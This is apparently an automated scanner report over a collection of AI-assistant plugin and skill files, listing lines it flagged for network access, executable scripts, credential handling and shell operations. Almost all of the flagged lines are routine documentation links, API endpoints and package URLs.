- **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l - Network accessline 12
- **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo - Network accessline 13
- **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug - Network accessline 23
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh> - Network accessline 29
- **Upstream:** <https://github.com/redhat-developer/rhdh-cli> - Network accessline 43
- **Upstream:** <https://github.com/redhat-developer/rhdh-local> - Network accessline 57
- **Upstream:** <https://github.com/redhat-developer/rhdh-operator> - Network accessline 72
- **Upstream:** <https://github.com/redhat-developer/rhdh-chart> - Network accessline 85
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays> - Network accessline 98
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils> - Network accessline 111
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog> - Network accessline 125
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugins> - Network accessline 139
- **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory> - Network accessline 149
- **Upstream:** <https://github.com/backstage/backstage>
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/references/slack-notification.md
- Network accessline 109
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234 - Network accessline 125
Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config - Network accessline 126
See: https://github.com/.../README.md#smoke-test-config - Network accessline 128
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235 - Network accessline 143
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/references/versions.md
- Network accessline 19
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 53
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 87
Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0) - Network accessline 121
Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0) - Network accessline 155
Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0) - Network accessline 193
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package. - Network accessline 197
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package. - Network accessline 210
Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__init__.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__main__.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/cli.py
- Executable scriptline 1
Executable file - Network accessline 152
checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI: not installed") next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 154
next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 296
checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI not installed") issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 298
issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 404
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 405
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 406
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 411
if rhdh_running: checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") - Network accessline 412
checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") else: - Network accessline 413
fmt.log_ok(" RHDH: running on http://localhost:7007")
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/config.py
- Executable scriptline 1
Executable file - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 400
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 474
[Credential-related source omitted] - Dangerous shell operationline 922
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"], - Dangerous shell operationline 928
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/formatters.py
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/todo.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/worklog.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/workspace.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/scripts/rhdh
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/release-notes-showcase/.claude-plugin/plugin.json
harness/claude-code/plugins/repo-actions-hub/.claude-plugin/plugin.json
harness/claude-code/plugins/repo-documentation/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/repo-documentation/skills/add-educational-comments/SKILL.md
- Network accessline 50
| Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | - Network accessline 52
| Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. | - Network accessline 156
- [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)
harness/claude-code/plugins/repo-documentation/skills/convert-plaintext-to-md/SKILL.md
- Network accessline 166
- [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) - Network accessline 167
- [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/) - Network accessline 168
- [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)
harness/claude-code/plugins/repo-documentation/skills/create-agentsmd/SKILL.md
- Network accessline 19
- "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - Network accessline 20
- "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents." - Network accessline 21
- "Make this repo follow https://agents.md/." - Network accessline 26
- The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 27
- Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 194
- [AGENTS.md](https://agents.md/.)
harness/claude-code/plugins/repo-documentation/skills/create-llms/SKILL.md
- Network accessline 4
Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or a - Network accessline 5
to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. metadata: - Network accessline 6
document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. - Network accessline 27
- No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling ` - Network accessline 29
- Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks. - Network accessline 144
- [llms.txt specification](https://llmstxt.org/) - Network accessline 145
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/claude-code/plugins/repo-documentation/skills/create-readme/SKILL.md
- Network accessline 58
| Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 59
| --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server - Network accessline 60
| `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 61
| `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. | - Network accessline 62
| `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. | - Network accessline 63
| `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. | - Network accessline 64
| `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. | - Network accessline 138
- [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md) - Network accessline 139
- [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md) - Network accessline 140
- [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md) - Network accessline 141
- [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md) - Network accessline 142
- [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)
harness/claude-code/plugins/repo-documentation/skills/create-tldr-page/SKILL.md
- Network accessline 18
- "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 20
- "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 74
/create-tldr-page https://some-command.io/docs/manual.html - Network accessline 98
1. https://gnu.org/software/manual/html_node/some-command.html - Network accessline 99
2. https://some.org/serve/some.man.html#some-command - Network accessline 100
3. https://some-command.io/docs/cli/latest/manual - Network accessline 101
4. https://some-command.io/docs/quickstart - Network accessline 113
> Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>. - Network accessline 115
> More information: <https://url-to-upstream.tld>. - Network accessline 141
* [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md) - Network accessline 142
* [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md) - Network accessline 143
* [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md) - Network accessline 150
/create-tldr-page #fetch https://git-scm.com/docs/git git - Network accessline 158
> Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>. - Network accessline 160
> More information: <https://git-scm.com/docs/git>. - Network accessline 168
`git clone {{https://example.com/repo.git}}` - Network accessline 218
- Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}` - Example: `{{path/to/file}}` for file paths - Example: `{{https://example.com}}` for URLs - Network accessline 220
- Example: `{{https://example.com}}` for URLs - Network accessline 254
- https://git-scm.com/docs/git - Network accessline 255
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md - Network accessline 256
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md - Network accessline 257
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md
harness/claude-code/plugins/repo-documentation/skills/documentation-writer/SKILL.md
- Network accessline 95
- [Diátaxis framework](https://diataxis.fr/)
harness/claude-code/plugins/repo-documentation/skills/tldr-prompt/SKILL.md
- Network accessline 46
| URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search - Network accessline 47
| More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c - Network accessline 48
| Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and - Network accessline 49
| Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. | - Network accessline 50
| Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. | - Network accessline 51
| Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. | - Network accessline 52
| General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. | - Network accessline 54
When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/ - Network accessline 126
You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 127
1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve - Network accessline 128
2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 146
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 147
- [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers) - Network accessline 148
- [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview) - Network accessline 149
- [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview) - Network accessline 150
- [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat) - Network accessline 151
- [GitHub Copilot documentation](https://docs.github.com/en/copilot/) - Network accessline 152
- [Awesome Copilot](https://github.com/github/awesome-copilot) - Network accessline 153
- [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename}) - Network accessline 154
- [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)
harness/claude-code/plugins/repo-documentation/skills/update-llms/SKILL.md
- Network accessline 5
examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with https://llmstxt.org/. - Network accessline 6
refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with https://llmstxt.org/. metadata: - Network accessline 7
https://llmstxt.org/. - Network accessline 28
- An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm - Network accessline 30
- The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`. - Network accessline 142
- [llms.txt specification](https://llmstxt.org/) - Network accessline 143
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/claude-code/plugins/repo-documentation/skills/write-coding-standards-from-file/SKILL.md
- Network accessline 77
Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${ - Network accessline 98
| Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 99
| --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 100
| C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 101
| C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 102
| C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` | - Network accessline 103
| Go Style Guide | `https://github.com/golang-standards/project-layout` | - Network accessline 104
| Java Style Guide | `https://coderanch.com/wiki/718799/Style` | - Network accessline 105
| AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` | - Network accessline 106
| jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` | - Network accessline 107
| JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` | - Network accessline 108
| JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` | - Network accessline 109
| Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` | - Network accessline 110
| Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` | - Network accessline 111
| Perl Style Guide | `https://perldoc.perl.org/perlstyle` | - Network accessline 112
| PHP Style Guide | `https://phptherightway.com/` | - Network accessline 113
| Python Style Guide | `https://peps.python.org/pep-0008/` | - Network accessline 114
| Ruby Style Guide | `https://rubystyle.guide/` | - Network accessline 115
| Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` | - Network accessline 116
| Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` | - Network accessline 117
| TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` | - Network accessline 118
| Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` | - Network accessline 119
| Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` | - Network accessline 120
| Git Usage Style Guide | `https://github.com/agis/git-style-guide` | - Network accessline 121
| PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` | - Network accessline 122
| CSS | `https://cssguidelin.es/` | - Network accessline 123
| Sass Style Guide | `https://sass-guidelin.es/` | - Network accessline 124
| HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` | - Network accessline 125
| Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` | - Network accessline 126
| Node.js Style Guide | `https://github.com/felixge/node-style-guide` | - Network accessline 127
| SQL Style Guide | `https://www.sqlstyle.guide/` | - Network accessline 128
| Angular Style Guide | `https://angular.dev/style-guide` | - Network accessline 129
| Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` | - Network accessline 130
| Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` | - Network accessline 131
| SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` | - Network accessline 273
- [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html) - Network accessline 274
- [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions) - Network accessline 275
- [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines) - Network accessline 276
- [Go Style Guide](https://github.com/golang-standards/project-layout) - Network accessline 277
- [Java Style Guide](https://coderanch.com/wiki/718799/Style) - Network accessline 278
- [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide) - Network accessline 279
- [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/) - Network accessline 280
- [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp) - Network accessline 281
- [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml) - Network accessline 282
- [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html) - Network accessline 283
- [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/) - Network accessline 284
- [Perl Style Guide](https://perldoc.perl.org/perlstyle) - Network accessline 285
- [PHP Style Guide](https://phptherightway.com/) - Network accessline 286
- [Python Style Guide](https://peps.python.org/pep-0008/) - Network accessline 287
- [Ruby Style Guide](https://rubystyle.guide/) - Network accessline 288
- [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src) - Network accessline 289
- [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/) - Network accessline 290
- [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html) - Network accessline 291
- [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards) - Network accessline 292
- [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html) - Network accessline 293
- [Git Usage Style Guide](https://github.com/agis/git-style-guide) - Network accessline 294
- [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle) - Network accessline 295
- [CSS](https://cssguidelin.es/) - Network accessline 296
- [Sass Style Guide](https://sass-guidelin.es/) - Network accessline 297
- [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide) - Network accessline 298
- [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html) - Network accessline 299
- [Node.js Style Guide](https://github.com/felixge/node-style-guide) - Network accessline 300
- [SQL Style Guide](https://www.sqlstyle.guide/) - Network accessline 301
- [Angular Style Guide](https://angular.dev/style-guide) - Network accessline 302
- [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html) - Network accessline 303
- [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/) - Network accessline 304
- [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)
harness/claude-code/plugins/roundup/.claude-plugin/plugin.json
harness/claude-code/plugins/ruby-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/ruby-mcp-development/skills/ruby-mcp-server-generator/references/project-templates.md
- Network accessline 8
source 'https://rubygems.org'
harness/claude-code/plugins/rug-agentic-workflow/.claude-plugin/plugin.json
harness/claude-code/plugins/rust-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/salesforce-development/.claude-plugin/plugin.json
harness/claude-code/plugins/security-best-practices/.claude-plugin/plugin.json
harness/claude-code/plugins/signals-dashboard/.claude-plugin/plugin.json
harness/claude-code/plugins/site-studio/.claude-plugin/plugin.json
harness/claude-code/plugins/skill-image-gen/.claude-plugin/plugin.json
- Network accessline 5
"author": { "name": "adamd9", "url": "https://github.com/adamd9" - Network accessline 6
"name": "adamd9", "url": "https://github.com/adamd9" }, - Network accessline 7
"url": "https://github.com/adamd9" - Network accessline 8
}, "homepage": "https://github.com/adamd9/skill-image-gen", "repository": "https://github.com/github/awesome-copilot", - Network accessline 9
"homepage": "https://github.com/adamd9/skill-image-gen", - Network accessline 10
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/skill-image-gen/skills/generate-image/SKILL.md
- Network accessline 54
| Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 55
| --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati - Network accessline 56
| OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 57
| Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey | - Access to secretsline 59
[Credential-related source omitted] - Network accessline 64
| --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` | - Network accessline 65
[Credential-related source omitted] - Network accessline 66
| URL | `https://api.openai.com/v1/images/generations` | - Network accessline 90
| --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 91
[Credential-related source omitted] - Network accessline 92
| URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 173
- [OpenAI API keys](https://platform.openai.com/api-keys) - Network accessline 174
- [Google AI Studio API keys](https://aistudio.google.com/apikey)
harness/claude-code/plugins/software-engineering-team/.claude-plugin/plugin.json
harness/claude-code/plugins/spec-driven-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/structured-autonomy/.claude-plugin/plugin.json
harness/claude-code/plugins/swift-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/swift-mcp-development/skills/swift-mcp-server-generator/references/project-templates.md
- Network accessline 20
dependencies: [ .package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 21
.package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", from: "0.10.0" - Network accessline 22
url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 24
), .package( url: "https://github.com/apple/swift-log.git", - Network accessline 25
.package( url: "https://github.com/apple/swift-log.git", from: "1.5.0" - Network accessline 26
url: "https://github.com/apple/swift-log.git", - Network accessline 28
), .package( url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 29
.package( url: "https://github.com/swift-server/swift-service-lifecycle.git", from: "2.0.0" - Network accessline 30
url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 573
The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 574
- [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 575
- [swift-log](https://github.com/apple/swift-log) - Structured logging - Network accessline 576
- [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown
harness/claude-code/plugins/technical-spike/.claude-plugin/plugin.json
harness/claude-code/plugins/testing-automation/.claude-plugin/plugin.json
harness/claude-code/plugins/testing-automation/skills/pester-migration/SKILL.md
- Network accessline 27
- Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - - Network accessline 29
- Installation reference: https://pester.dev/docs/introduction/installation. - Network accessline 41
Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5. - Network accessline 189
- [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5) - Network accessline 190
- Installation: https://pester.dev/docs/introduction/installation.
harness/claude-code/plugins/testing-automation/skills/pester-migration/references/v3-to-v4.md
- Network accessline 6
Official guide: https://pester.dev/docs/migrations/v3-to-v4 - Network accessline 29
There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee - Network accessline 30
that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n - Network accessline 31
https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced - Network accessline 74
cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873. - Network accessline 76
https://github.com/pester/Pester/issues/873. - Network accessline 78
Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81 - Network accessline 80
https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.
harness/claude-code/plugins/testing-automation/skills/pester-migration/references/v4-to-v5.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v4-to-v5 · - Network accessline 8
Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5 - Network accessline 70
> `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 72
> https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 74
There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 75
https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 110
Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest - Network accessline 112
template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests. - Network accessline 178
it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See https://pester.dev/docs/usage/mocking. - Network accessline 180
https://pester.dev/docs/usage/mocking.
harness/claude-code/plugins/testing-automation/skills/pester-migration/references/v5-to-v6.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v5-to-v6 - Network accessline 60
